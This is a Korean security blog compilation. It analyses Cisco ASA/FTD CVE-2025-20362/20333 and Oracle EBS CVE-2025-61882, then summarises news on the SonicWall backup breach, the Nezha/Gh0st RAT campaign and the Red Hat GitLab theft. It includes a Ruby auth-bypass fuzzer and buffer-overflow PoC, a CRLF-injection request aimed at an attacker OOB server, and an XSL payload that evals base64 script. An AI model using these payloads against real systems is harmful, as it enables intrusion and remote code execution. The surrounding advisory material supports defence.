> [4] : bufsize(8192) 만큼 버퍼 할당

> [5] : 파일 업로드 실패 시 CSRF 토큰 불일치 응답이 전송

-- ...snip...

local mode = HTTP_GET_PARAM_BY_NAME("mode")
local csrf_token = nil
local csrf_token_valid = false
local csrf_err_msg = "CSRF token mismatch"

-- ...snip...

if("upload" == mode) then
  local ret = false
  local failed = false
  local fs = HTTP_GET_PARAM_BY_NAME("fs")
  local server = socket.url.unescape(HTTP_GET_PARAM_BY_NAME("server"))
  local path = socket.url.unescape(HTTP_GET_PARAM_BY_NAME("path"))
  local sourceurl = HTTP_GET_PARAM_BY_NAME("sourceurl")
  local leftstr = HTTP_HEADER_BY_NAME("Content-Length")
  local boundary = HTTP_HEADER_BY_NAME("Content-Type")
  local left
  if (leftstr ~= nil) then
    left = tonumber(leftstr)
  else
    left = 0
  end
  local bufsize = 8192
  local buf = BUFFER_ALLOC(bufsize) -- [4]

-- ...snip...

    if (boundary ~= nil) and (left >= (string.len(boundary) + 8)) then -- [1]
      left = left - (string.len(boundary) + 8)
      if (buf ~= nil) and (fs ~= nil) and (server ~= nil) and (path ~= nil) and (leftstr ~= nil) then -- [2]
        local readinlen = 0
        local filename = ""

-- ...snip...

      HTTP_CONTENTTOBUFFER(buf, string.len(boundary) + 8) -- [3]

-- ...snip...

?><html><body><script><?
    if ret ~= true then
      local err_msg = "Failed to upload file"
      if csrf_token_valid == false then
        err_msg = csrf_err_msg
      end
?>alert('<?OUTL(err_msg)?>');<? -- [5]
    end
?>location.href="/+CSCOE+/files/browse.html?code=init&path=<?OUT(socket.url.escape(sourceurl))?>"</script></body></html><?
  end
else

-- ...snip...

 

- 연구진들은 퍼저를 활용한 테스트에서 /+CSCOU+//../+CSCOE+/ 경로를 통해 인증을 우회하고 대상 엔드포인트에 도달할 수 있음을 확인
> 테스트에 대한 응답에서 'CSRF token mismatch' 응답 확인

require 'httparty'

$target = 'https://203.0.113.1'

HTTParty::Basement.default_options.update(verify: false)

['.', '/', '%2e', '%2f', ''].shuffle.each do |c1|
  ['.', '/', '%2e', '%2f', ''].shuffle.each do |c2|
    ['.', '/', '%2e', '%2f', ''].shuffle.each do |c3|
      ['.', '/', '%2e', '%2f', ''].shuffle.each do |c4|
        ['.', '/', '%2e', '%2f', ''].shuffle.each do |c5|
          ['.', '/', '%2e', '%2f', ''].shuffle.each do |c6|
            ['.', '/', '%2e', '%2f', ''].shuffle.each do |c7|
              ['.', '/', '%2e', '%2f', ''].shuffle.each do |c8|
                $stdout.write('.')

                url = "#{$target}/+CSCOU+#{c1}#{c2}#{c3}#{c4}#{c5}#{c6}#{c7}#{c8}+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz"

                response1 = HTTParty.get(url, follow_redirects: false, headers: {
                                           'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36',
                                           'Content-Type' => 'application/x-www-form-urlencoded;b=ss',
                                           'Referrer' => "#{$target}/"
                                         })

                # BINGO
                if response1&.body&.include? 'CSRF token mismatch'
                  pp '*' * 32
                  pp url
                  p response1.code
                  p response1.body
                  pp '*' * 32
                  throw 'win'
                end
              rescue EOFError, URI::InvalidURIError
                $stdout.write('-')
              end
            end
          end
        end
      end
    end
  end
end

 

[사진 3] throw 'win'

2.2 CVE-2025-20333

[사진 4] CVE-2025-20333 [6]

- Cicso ASA/FTD Software의 VPN 웹 서버에서 부적절한 입력값 검증으로 인해 발생하는 원격 코드 실행 취약점 (CVSS: 9.9)

영향받는 버전
- Cisco Secure Firewall Adaptive Security Appliance (ASA) Software
9.12 / 9.14 / 9.16 / 9.17 / 9.18 / 9.19 / 9.20 / 9.22
- Cisco Secure Firewall Threat Defense (FTD) Software
7.0 / 7.1 / 7.2 / 7.3 / 7.4 / 7.6

 

HTTP_CONTENTTOBUFFER()는 HTTP 요청에 지정된 길이만큼 버퍼에 읽어들이는 함수이며, 적절한 경계 검사가 없어 버퍼오버플로우가 발생할 수 있음

> 해당 함수를 호출할 때, 두 번째 매개변수 string.len (boundary)+8가 버퍼 크기 8192보다 작거나 같은지 확인하지 않음
> 또한, 해당 함수 내에서 대상 버퍼가 HTTP 요청에 제공된 길이만큼 콘텐츠 데이터를 저장할 만큼 큰지 확인하지 않음

 

- 따라서 공격자가 다음 조건을 만족하는 요청을 전송할 경우 인증 우회 및 버퍼오버플로가 발생해 원격 코드 실행 가능

① /+CSCOU+//../+CSCOE+/files/file_action.html URL (인증 우회)
② mode 매개변수는 반드시 upload
③ fs, server, path 매개변수 중 하나를 생략해 if문 우회
④ HTTP 헤더 Content-Length 포함 (이상 HTTP_CONTENTTOBUFFER() 호출 목적)

 

2.3 PoC

# PoC to trigger CVE-2025-20362 + CVE-2025-20333
# ==============================================
#
# Usage
# -----
# ruby cisco_poc.rb -t https://203.0.113.1
#
require 'httparty'
require 'optparse'

HTTParty::Basement.default_options.update(verify: false)

def trigger(target)
  buffer_length = 8192
  
  overflow_length = buffer_length + 4444

  throw "[-] Must overflow more than #{buffer_length} bytes" if overflow_length <= buffer_length

  $stdout.puts "[+] Triggering..."
  
  r = HTTParty.get(
    "#{target}/+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=bar&sourceurl=qaz",
    headers: {
      'User-Agent' => 'Mozilla/5.0',
      'Content-Type' => "application/x-www-form-urlencoded;b=#{'B' * (overflow_length - 8)}",
      'Content-Length' => "#{overflow_length}",
    },
    body: 'A' * overflow_length
  )
  
  # You may or may not get back a response code. This PoC overflows an 8192 byte buffer, but does not attempt to
  # do anything other than that. So the target lina process will likely crash due to OCCAM pool corruption.
  if r
    $stdout.puts "[?] Got a response code: #{r.code}"
    pp r.headers
    pp r.body
  end
end

target = nil

OptionParser.new do |opts|
  opts.banner = 'Usage: cisco_poc.rb [options]'

  opts.on('-t', '--target VALUE', 'Target URL (e.g. https://203.0.113.1)') do |v|
    target = v.chomp('/')
  end
end.parse!

unless target
  $stdout.puts '[-] Error, you must pass a target URL: -t VALUE'
  return
end

$stdout.puts "[+] Target: #{target}"

trigger(target)

3. 대응방안

- 벤더사 제공 업데이트 적용 [7][8][9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-20362 Cisco Secure Firewall 
Adaptive Security Appliance (ASA)
Software
9.12 9.12.4.72
9.14 9.14.4.28
9.16 9.16.4.85
9.17 고정된 릴리스로 마이그레이션 (9.18.4.67)
9.18 9.18.4.67
9.19 고정된 릴리스로 마이그레이션 (9.20.4.10)
9.20 9.20.4.10
9.22 9.22.2.14
9.23 9.23.1.19
Cisco Secure
Firewall Threat Defense (FTD)
Software
7.0 7.0.8.1
7.1 고정된 릴리스로 마이그레이션 (7.4.2.4)
7.2 7.2.10.2
7.3 고정된 릴리스로 마이그레이션 (7.4.2.4)
7.4 7.4.2.4
7.6 7.6.2.1
7.7 7.7.10.1
CVE-2025-20333 Cisco Secure Firewall 
Adaptive Security Appliance (ASA)
Software
9.12 9.12.4.72
9.14 9.14.4.28
9.16 9.16.4.85
9.17 9.17.1.45
9.18 9.18.4.47
9.19 9.19.1.37
9.20 9.20.3.7
9.22 9.22.1.3
Cisco Secure
Firewall Threat Defense (FTD)
Software
7.0 7.0.8.1
7.1 고정된 릴리스로 마이그레이션 (7.4.2.4)
7.2 7.2.9
7.3 고정된 릴리스로 마이그레이션 (7.4.2.4)
7.4 7.4.2.4
7.6 7.6.1

 

> 벤더사 제공 취약한 구성 확인 방법

취약점 구분 소프트웨어 기능 취약한 구성 가능성
CVE-2025-20362 ASA AnyConnect IKEv2 원격 액세스(클라이언트 서비스 포함) crypto ikev2 enable <interface name> client-services port <port_numbers>
모바일 사용자 보안(MUS) webvpn
 mus password
 mus server enable <port_number>
 mus <IPv4_address> <IPv4_mask> <interface_name>
SSL VPN webvpn
 enable <interface_name>
FTD AnyConnect IKEv2 원격 액세스(클라이언트 서비스 포함) crypto ikev2 enable <interface_name> client-services port <port_number>
AnyConnect SSL VPN webvpn
 enable <interface_name>
CVE-2025-20333 ASA AnyConnect IKEv2 원격 액세스(클라이언트 서비스 포함) crypto ikev2 enable <interface name> client-services port <port_numbers>
모바일 사용자 보안(MUS) webvpn
 mus password
 mus server enable <port_number>
 mus <IPv4_address> <IPv4_mask> <interface_name>
SSL VPN webvpn
 enable <interface_name>
FTD AnyConnect IKEv2 원격 액세스(클라이언트 서비스 포함) crypto ikev2 enable <interface_name> client-services port <port_number>
AnyConnect SSL VPN webvpn
 enable <interface_name>

4. 참고

[1] https://www.cisco.com/c/en_in/products/security/adaptive-security-appliance-asa-software/index.html?dtid=osscdc000283&linkclickid=srch
[2] https://www.cisco.com/c/ko_kr/support/security/firepower-ngfw/series.html
[3] https://www.ncsc.gov.uk/news/persistent-malicious-targeting-cisco-devices
[4] https://nvd.nist.gov/vuln/detail/CVE-2025-20362
[5] https://attackerkb.com/topics/Szq5u0xgUX/cve-2025-20362/rapid7-analysis
[6] https://nvd.nist.gov/vuln/detail/CVE-2025-20333
[7] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-YROOTUW
[8] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB
[9] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=cisco&menuNo=205020&pageIndex=1&categoryCode=&nttId=71873
[10] https://www.dailysecu.com/news/articleView.html?idxno=201003&page=3&total=18362

1. Oracle E-Business Suite (EBS)

- 전사적 자원관리 솔루션 [1]

2. 취약점

[사진 1] CVE-2025-61882 [2]

- Oracle EBS의 입력값 검증 부재로 인해 발생하는 연쇄 원격 코드 실행 취약점 (CVSS: 9.8)
> 다수의 공격자가 해당 취약점을 악용해 랜섬웨어 등을 유포하고 있음
> 해당 취약점 악용 흐름은 다음과 같음 [3]

 

[사진 2] CVE-2025-61882 익스플로잇 체인

영향받는 버전
Oracle EBS 12.2.3 ~ 12.2.14 버전

 

2.1 URL Encoded XML Payload → SSRF

- 취약점은 서블릿 진입부의 로직에서 시작

> [0] : getUiType 파라미터에서 XML 문자열 파싱
> [1] : redirectFromJsp가 Null이 아닐 때 createNew() 호출
> [2] : createNew()가 이후 XML 내용을 기반으로 return_url을 추출해 처리

if (paramHttpServletRequest.getParameter("killAndRestartServer") != null) {
  paramHttpServletResponse.sendError(400);
  closeSession(httpSession);
} else if (paramHttpServletRequest.getParameter("generateOutput") != null) {
  generateOutput(paramHttpServletRequest, paramHttpServletResponse);
} else if (paramHttpServletRequest.getParameter("getUiType") != null) {
  String str = paramHttpServletRequest.getParameter("redirectFromJsp");// [1]
  XMLDocument xMLDocument = XmlUtil.parseXmlString(paramHttpServletRequest.getParameter("getUiType"));// [0]
  if (str == null || "false".equalsIgnoreCase(str)) {
    redirectToCZInitialize(paramHttpServletRequest, paramHttpServletResponse, str2);
    return;
  }
  createNew(xMLDocument, httpSession, paramHttpServletRequest, paramHttpServletResponse);// [2]

 

- postXmlMessage()
> return_url로 CZURLConnection을 만든 뒤 cZURLConnection.connect(...)를 호출해 연결을 생성

protected void postXmlMessage(String paramString1, String paramString2) throws ServletException {
    try {
      this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [raw] (", paramString1, ") for response.");
      URL uRL = getUrl(paramString1);
      if (uRL != null)
        paramString1 = uRL.toExternalForm();
      CZURLConnection cZURLConnection = new CZURLConnection(paramString1);
      this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [path resolved] (", cZURLConnection.getFullURL(), ") for response.");
      String[] arrayOfString1 = { "XMLmsg" };
      String[] arrayOfString2 = { paramString2 };
      cZURLConnection.connect(1, arrayOfString1, arrayOfString2);
      cZURLConnection.close();
    } catch (Exception exception) {
      if (exception instanceof oracle.apps.cz.utilities.SSLSupportUnavailableException && this.m_sessionLogger != null)
        this.m_sessionLogger.logOutput(CZUiUtilities.stackTraceToString(exception));
      throw new ServletException("Could not post XML message to result URL: " + exception.getMessage());
    }
  }

 

- connect()

> return_url에 대한 적절한 검증 없이 POST 요청을 전송
> 해당 매개변수가 공격자가 제어하는 주소일 경우 서버가 아웃바운드 요청을 보내 SSRF가 가능

private void connect(URL paramURL, String paramString) throws IOException {
    HttpURLConnection httpURLConnection = (HttpURLConnection)paramURL.openConnection();
    updateDefaultHeaders(httpURLConnection, ...);
    httpURLConnection.setDoOutput(true);
    httpURLConnection.setRequestMethod("POST");
    if (httpURLConnection != null) {
        this.m_connectionOutputStream = httpURLConnection.getOutputStream();
        postMessage(paramString, httpURLConnection);
    }
}

 

2.2 CRLF Injection

- return_url에 &#13;&#10;, %0d%0a와 같은 CRLF 문자열 삽입
> 서버가 전송하는 HTTP 요청의 라인/헤더 경계를 조작해 임의의 헤더 블록이나 추가 요청 라인을 삽입할 수 있음

[요청 예시]
POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 524

redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
    <param name="init_was_saved">test</param>
    <param name="return_url"><http://attacker-oob-server>&#47;HeaderInjectionTest&#32;HTTP&#47;1&#46;1&#13;&#10;InjectedHeader&#58;Injected&#13;&#10;&#32;&#13;&#10;&#13;&#13;&#10;&#13;&#13;&#10;&#13;&#13;&#10;POST&#32;&#47;</param>
    <param name="ui_def_id">0</param>
    <param name="config_effective_usage_id">0</param>
    <param name="ui_type">Applet</param>
</initialize></@urlencode>

[응답 예시]
POST /HeaderInjectionTest HTTP/1.1
--- HEADERS ---
InjectedHeader: Injected

 

2.3 HTTP Request Smuggling (Keep-Alive Smuggling)

- CRLF Injection은 HTTP Keep-Alive를 악용할 수 있도록 함
> 동일한 TCP 연결을 재사용하면 후속 요청을 전송할 수 있어 공격을 더 효율적이고 탐지하기 어렵게 만듦
> 또한, localhost:7201과 같은 내부 대상으로 전달되도록 유도할 수 있음

[사진 3] HTTP Request Smuggling (Keep-Alive Smuggling)

2.4 Auth Bypass

- Oracle EBS 내부 애플리케이션 핵심 HTTP 서비스는 172.31.28.161:7201처럼 사설 IP에 바인딩되어 있는 형태
> 이때 /etc/hosts 파일 안에 apps.example.com 매핑이 존재
> 때문에 서버 측 관점(SSRF/스머글링으로 열어둔 연결)에서는 `hxxp://apps.example.com:7201` 으로 내부 서비스에 요청을 보낼 수 있음

# netstat -lnt
tcp6       0      0 172.31.28.161:7201      :::*                    LISTEN
# cat /etc/hosts
172.31.28.161   apps.example.com        apps
#

 

- 또한 /OA_HTML/help/는 인증이 요구되지 않는 공개 경로
> ../와 같은 경로 횡단을 추가해 /OA_HTML/help/../ieshostedsurvey.jsp 형태로 화이트리스트를 우회해 보호된 jsp인 ieshostedsurvey.jsp에 접근할 수 있도록 함

# curl -s --path-as-is http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp

<!-- $Header: ieshostedsurvey.jsp 120.0 2005/06/03 07:43:36 appldev noship $ -->
<!-- +======================================================================+ -->
<!-- |    Copyright (c) 2005, 2017 Oracle and/or its affiliates.           | -->
<!-- |                         All rights reserved.                         | -->
<!-- |                           Version 12.0.0                             | -->
<!-- +======================================================================+ -->
<!--ICX_ACCESSIBILITY_FEATURES profile=Y-->

<html>
<head>
<!-- +======================================================================+ -->
<!-- |    Copyright (c) 2005, 2022 Oracle and/or its affiliates.           | -->
<!-- |                         All rights reserved.                         | -->
<!-- |                           Version 12.0.0                             | -->
<!-- +======================================================================+ -->
<!-- $Header: jtfscss.jsp 120.1.12020000.16 2022/04/27 09:56:43 srsiddam ship $ -->

[..SNIP..]

 

2.5 XSLT 로드

- ieshostedsurvey.jsp는 신뢰할 수 없는 입력을 활용해 동적으로 XSL URL 구성 및 검증 없이 원격 XSL을 로드 및 처리하는 또 다른 취약점 존재
> [1],[2] : request.getServerName(), request.getServerPort()는 클라이언트가 조작 가능한 Host 헤더에 영향을 받는데, 이 값을 신뢰해 xslURL을 만들면 악성 XSL을 호스팅하는 서버를 가리키게 할 수 있음
> [3],[4],[5] : 애플리케이션은 해당 원격 XSL을 즉시 로드하고 XSLT 처리를 수행. XSLT 엔진이 확장 함수/스크립팅을 허용하는 환경이기 때문에 스타일시트 내부에서 RCE를 유발할 수 있음

<html>
<head>
..
</head>
<body <%=_jtfPageContext.getHtmlBodyAttr() %> class='applicationBody'>
..
StringBuffer urlbuf = new StringBuffer();
urlbuf.append("http://");
urlbuf.append(request.getServerName()); // [1]
urlbuf.append(":").append(request.getServerPort()).append(URI.toString()); // [2]
String xslURL = urlbuf.toString() + "ieshostedsurvey.xsl";

URL stylesheetURL = new URL(xslURL.toString()); // [3]
XSLStylesheet sheet = new XSLStylesheet(stylesheetURL,stylesheetURL); // [4]
XSLProcessor xslt = new XSLProcessor();

xslt.processXSL(sheet, xmlDoc, ...); //[5]
..
</body>
</html>

XSL 스타일시트 (payload)

- Base64로 숨긴 스크립트를 복원하고, ScriptEngine으로 eval해 서버 프로세스 내에서 실행

- 결과적으로 JSP가 Host와 Port를 신뢰해 만든 xslURL로 XSL 스타일시트를 로드하는 순간 스크립트가 실행되어 RCE로 이어짐

<xsl:stylesheet version="1.0"
                    xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
                    xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>"
                    xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>"
                    xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>"
                    xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>">
        <xsl:template match="/">
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-61882 Oracle E-Business Suite (EBS) 12.2.3 이상 12.2.14 이하 Patch 38501230:R12.TXK.C
Patch 38501349:R12.CAC.C

4. 참고

[1] https://www.oracle.com/kr/applications/ebusiness/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-61882
[3] https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/
[4] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71882&menuNo=205020
[6] https://www.bleepingcomputer.com/news/security/oracle-patches-ebs-zero-day-exploited-in-clop-data-theft-attacks/
[7] https://www.boannews.com/media/view.asp?idx=139672&page=1&kind=1
[8] https://www.dailysecu.com/news/articleView.html?idxno=201209
[9] https://hackyboiz.github.io/2025/10/11/banda/CVE-2025-61882

요약 - 소닉월(SonicWall)이 지난달 발생한 해킹 사고 조사 결과를 발표
- 클라우드 백업 서비스를 이용한 모든 고객의 방화벽 설정 백업 파일이 외부 공격자에게 노출
내용 - 소닉월(SonicWall), 지난달 발생한 해킹 사고 조사 결과 발표
> 조사 결과, 클라우드 백업 서비스를 이용한 모든 고객의 방화벽 설정 백업 파일이 외부 공격자에게 노출

■방화벽 설정 백업 전량 노출…암호화됐지만 안심할 수 없어

- 이번 사고가 자사 클라우드 백업 시스템에서 발생했다고 설명
> 공격자는 마이소닉월 계정을 통해 저장된 방화벽 설정 파일(.EXP)에 접근했고, 이 안에는 AES-256으로 암호화된 자격증명과 구성 데이터가 포함돼 있었음
구성 파일에는 네트워크 구조, VPN 정보, 인증 서버 설정 같은 핵심 데이터가 들어 있기 때문에 공격자에게는 일종의 ‘네트워크 지도’가 된다”고 경고
> 소닉월도 “해당 파일을 악용하면 방화벽을 우회하거나 내부망 침투를 훨씬 쉽게 할 수 있다”고 인정

① 09.17 처음 공개
> 당시 “일부 마이소닉월 계정의 방화벽 백업 파일이 노출됐다”며 고객들에게 비밀번호를 바꾸고 계정을 초기화하라고 안내
> 그때까지만 해도 “클라우드 백업을 사용하는 고객은 전체의 약 5%”라고 설명

② 10월 초
> 소닉월은 공식 홈페이지를 통해 “조사 결과, 클라우드 백업 기능을 사용한 고객 전원이 영향을 받았다”고 발표

■어떤 정보들이 유출됐나

- 이번에 외부로 유출된 .EXP 파일에는 단순한 설정 값만 들어 있지 않음
> 관리자 계정과 로컬 사용자 비밀번호, LDAP·RADIUS 서버 정보, VPN 공유키, 클라우드 연동용 AWS 키 등 조직 운영의 핵심 정보가 포함
> 이런 데이터는 암호화돼 있더라도 공격자가 시스템 구조를 분석하거나 VPN 경로를 추적하는 데 충분한 단서를 제공
> 특히 인터넷에 직접 연결돼 있는 방화벽 장비일수록 위험이 큼

■소닉월 “즉시 모든 비밀번호·키 재설정해야”

- 소닉월은 고객들에게 ‘Essential Credential Reset’ 절차를 따를 것을 권고
> 로컬 사용자 및 관리자 비밀번호 전면 재설정
> 임시 인증 코드(TOTP) 재발급
> LDAP·RADIUS·TACACS+ 서버 비밀번호 변경
> VPN 공유키 및 WAN 인증 정보 교체
> Cloud Secure Edge(CSE) API 키 재발급
> SNMPv3, AWS, WWAN 등 연동 자격증명 전면 교체
> 고객은 마이소닉월 계정의 ‘Product Management → Issue List’ 메뉴에서 자사 장비가 영향을 받았는지 확인할 수 있음
> 특히 인터넷에 노출된 방화벽 장비를 가장 먼저 점검하고 조치해야 한다”고 강조

- 이번 사고은 단순한 시스템 오류가 아닌 운영 보안 관리의 실패
> 패치로 해결할 수 있는 문제가 아니라 고객 스스로 모든 비밀번호와 키를 교체하고, 관리자 접근 권한을 철저히 제한해야 한다고 조언
> 마이소닉월 포털의 ‘Issue List’는 수시로 업데이트되기 때문에 관리자는 주기적으로 확인해야 하며, 새로운 장비가 추가될 때마다 동일한 보안 절차를 적용해야 함

- 즉 모든 비밀번호, API 키, 토큰을 새로 발급하고, 예전 세션은 반드시 폐기해야 함
> 부분 교체는 오히려 위험하며, 관리 포털 접근을 최소화하고, MFA를 활성화해 내부 계정 탈취를 막아야 함
> 장기적으로는 클라우드 백업 의존도를 낮추고, 오프라인 암호화 백업 체계를 병행하는 것이 안전하다고 조언
기타 -

 

보안뉴스

 

[긴급] 소닉월 클라우드 백업 해킹…“클라우드 백업 서비스 사용한 모든 고객에 피해 발생” -

보안 장비 업체 소닉월(SonicWall)이 지난달 발생한 해킹 사고 조사 결과를 발표했다. 회사는 “조사를 마친 결과, 클라우드 백업 서비스를 이용한 모든 고객

www.dailysecu.com

 

https://www.sonicwall.com/support/notices/mysonicwall-cloud-backup-file-incident/250915160910330

 

www.sonicwall.com

 

요약 - 중국과 연계된 것으로 추정되는 해커들이 네자(Nezha)를 변조해 Gh0st RAT을 유포한 정황이 확인
- 대만, 일본, 한국, 홍콩 등에서 100대 이상 피해 시스템 발견
내용 - 중국과 연계된 것으로 추정되는 해커들
> 합법적인 오픈소스 모니터링 도구인 ‘네자(Nezha)’를 공격 무기로 변조해 ‘고스트 랫(Gh0st RAT)’을 퍼뜨린 정황이 확인
> ‘로그 중독’ 혹은 ‘로그 인젝션’이라 불리는 비정상적인 방식으로 웹셸(Web Shell)을 심은 것이 특징
※ Log Injection : 사용자 입력이 로그에 포함되는 경우 공격자가 이를 이용해 로그 항목을 위조하거나 악성 내용을 로그에 삽입할 수 있음

- 헌트리스 분석
① 공격자는 먼저 외부에 노출된 ‘phpMyAdmin’ 패널의 취약점을 이용해 시스템에 침입
② 접속 직후 인터페이스 언어를 간체 중국어로 변경한 흔적이 포착
> 공격자의 언어 환경과 기술적 배경을 드러내는 단서로 평가)
③ 이후 해커는 일반적인 파일 업로드 방식이 아니라 ‘로그 중독’ 기법을 활용
> 데이터베이스의 일반 쿼리 로그 기능을 활성화
> 로그가 기록되는 경로를 웹 디렉터리 내 .php 확장자로 설정
> 이어 SQL 쿼리 안에 한 줄짜리 PHP 웹셸 코드를 삽입해 쿼리 실행 시 로그 파일에 그대로 저장되도록 만듦
> .php 파일은 사실상 실행 가능한 웹셸이 되어, 공격자는 HTTP POST 요청만으로 원격 명령을 실행할 수 있었음

④ 이후 ‘앤트소드(AntSword)’라는 웹셸 관리 도구를 이용해 서버에 연결
> whoami 명령어를 통해 권한 수준을 확인한 뒤 본격적인 침투를 진행

- 헌트리스, 로그 파일 이름을 .php로 지정한 것이 핵심
> 이 과정을 통해 해커는 합법적인 로그 기록을 악성 코드 실행 통로로 바꿔버렸다고 설명

■네자(Nezha) 설치 후 원격 제어…디펜더 예외 등록하고 고스트 랫 실행

- 두 번째 단계에서 해커는 서버에 ‘네자(Nezha)’ 에이전트를 설치
> 네자는 원래 서버 상태를 모니터링하고 명령을 실행할 수 있는 오픈소스 관리 도구
> 이번 공격에서는 악성 원격제어 도구로 전환
> 공격자는 네자를 통해 외부 명령을 내려 피해 서버를 제어했고, 파워셸을 실행해 마이크로소프트 디펜더의 실시간 감시에서 특정 폴더를 제외하도록 설정 
> 탐지를 피한 뒤 ‘고스트 랫(Gh0st RAT)’을 단계적으로 설치

- 악성코드
> 시스템 내 가짜 실행파일(SQLlite.exe 등)을 심어 지속성을 확보
> 암호화된 통신 채널을 이용해 외부 명령제어 서버(C2)와 연결
> 일부 변종은 도메인 생성 알고리즘을 사용해 주기적으로 새로운 C2 주소를 생성(탐지를 회피하기 위한 전형적인 전략)

■한국 비롯해 동아시아 집중 공격…러시아어로 운영되는 C2 대시보드 ‘눈길’

- 이번 공격은 동아시아 지역을 중심으로 확산
> 대만, 일본, 한국, 홍콩 등에서 100대 이상의 피해 시스템이 발견됨
> 그 외에도 싱가포르, 말레이시아, 인도, 영국, 미국 등 다양한 국가에서도 감염 흔적이 포착

- 공격자가 운영하는 네자 대시보드가 러시아어로 설정
> 사용 도구와 언어 패턴은 중국 해커 조직의 특성과 일치

- 최초 감염은 올해 6월경부터 시작된 것으로 보이지만, 더 이전부터 활동했을 가능성도 있음
> 보안 전문가들은 이번 사례를 통해 공격자들이 합법적인 오픈소스 도구를 악용해 정당한 시스템 활동으로 위장하는 경향이 커지고 있다며 주의를 당부
> 또 “phpMyAdmin을 외부에서 접근 가능하게 두는 것은 매우 위험하며 가능한 한 외부 접근을 차단하고, 강력한 인증 체계와 로그 모니터링 시스템을 구축해야할 것을 권장
기타 - 과거에는 해커들이 직접 개발한 악성코드를 이용했지만, 이제는 탐지를 피하기 위해 널리 사용되는 오픈소스 도구를 변조해 사용하는 사례가 급증

 

보안뉴스

 

오픈소스 모니터링 도구가 해킹 무기로…중국 연계 해커, 원격제어 악성코드 유포…한국도 피해

중국과 연계된 것으로 추정되는 해커들이 합법적인 오픈소스 모니터링 도구인 ‘네자(Nezha)’를 공격 무기로 변조해, 악명 높은 원격제어 악성코드 ‘고스트 랫(G

www.dailysecu.com

 

The Crown Prince, Nezha: A New Tool Favored by China-Nexus Threat Actors | Huntress

Beginning in mid-2025, Huntress discovered a new tool being used to facilitate webserver intrusions known as Nezha, which up until now hasn’t been publicly reported on. This was used in tandem with other families of malware and web shell management tools

www.huntress.com

 

요약 - 해커 그룹 Crimson Collective, 570GB 분량의 레드햇 고객 데이터 탈취 주장
- 고객 네트워크 구조, 시스템 설정, 인증 토큰, VPN 구성, 데이터베이스 주소 등 공격에 활용될 수 있는 구체적 정보들 담겨 있어 심각
내용 - 해커 그룹 ‘크림슨콜렉티브’(Crimson Collective)
570GB 분량의 레드햇 고객 데이터를 탈취했다고 자신들의 텔레그램 채널에서 밝힘
> 이 데이터는 2만8000개에 달하는 레드햇 내부 저장소에 저장된 데이터라고 주장
> 고객 컨설팅 정보 등을 담은 800개가량의 고객 관련 보고서(CERs,)가 포함

※ 고객 참여 보고서(CER, Customer Engagement Report)
- 고객 네트워크 구조, 시스템 설정, 인증 토큰, VPN 구성, 데이터베이스 주소 등 외부 공격에 활용될 수 있는 구체적 정보가 저장

- 레드햇
> 자사 컨설팅 조직이 사용하는 별도 GitLba 인스턴트만 공격의 영향을 받았다고 밝힘
> 이 서버에는 고객 프로젝트별 코드 샘플, 기술 문서, 컨설팅용 참고 자료가 저장
> 해당 인스턴스를 즉시 격리하고 접근 권한을 차단했으며, 침해 가능성이 있는 고객사와 협력해 후속 조치를 진행 중
> 현재까지 제품 빌드 시스템이나 레드햇 엔터프라이즈 리눅스 등 주요 제품의 공급망에는 영향이 없음

- 공격자가 깃랩 접근 제어 취약점이나 내부 계정을 탈취해 저장소 전체를 복제했을 가능성에 주목

- 모든 기업이 다음과 같은 보안 조치를 즉시 점검해야 한다고 조언
> 첫째, 깃랩·깃허브 등 저장소 접근 권한 전면 재검토하고, 다단계 인증(MFA) 의무화
> 둘째, 저장소 내 비밀정보(토큰·비밀번호·API키 등)를 모두 교체하고, 장기 토큰 사용 중단
> 셋째, 고객 아키텍처 문서나 인증 정보가 포함된 파일은 별도의 암호화 저장소에 분리 보관하고, 접근 로그 실시간 모니터링
> 넷째, 저장소의 대량 다운로드나 비정상적인 클론 행위를 탐지하는 자동 경보 시스템 구축
> 다섯째, 고객사에는 잠재적 위험을 알리고, 자격 증명 변경과 침해 지표(IOC) 점검 병행

- 크림슨콜렉티브는 데이터 유출 사실을 공개한 후 Scattered Lapsus$ Hunters와 협력한다고 발표
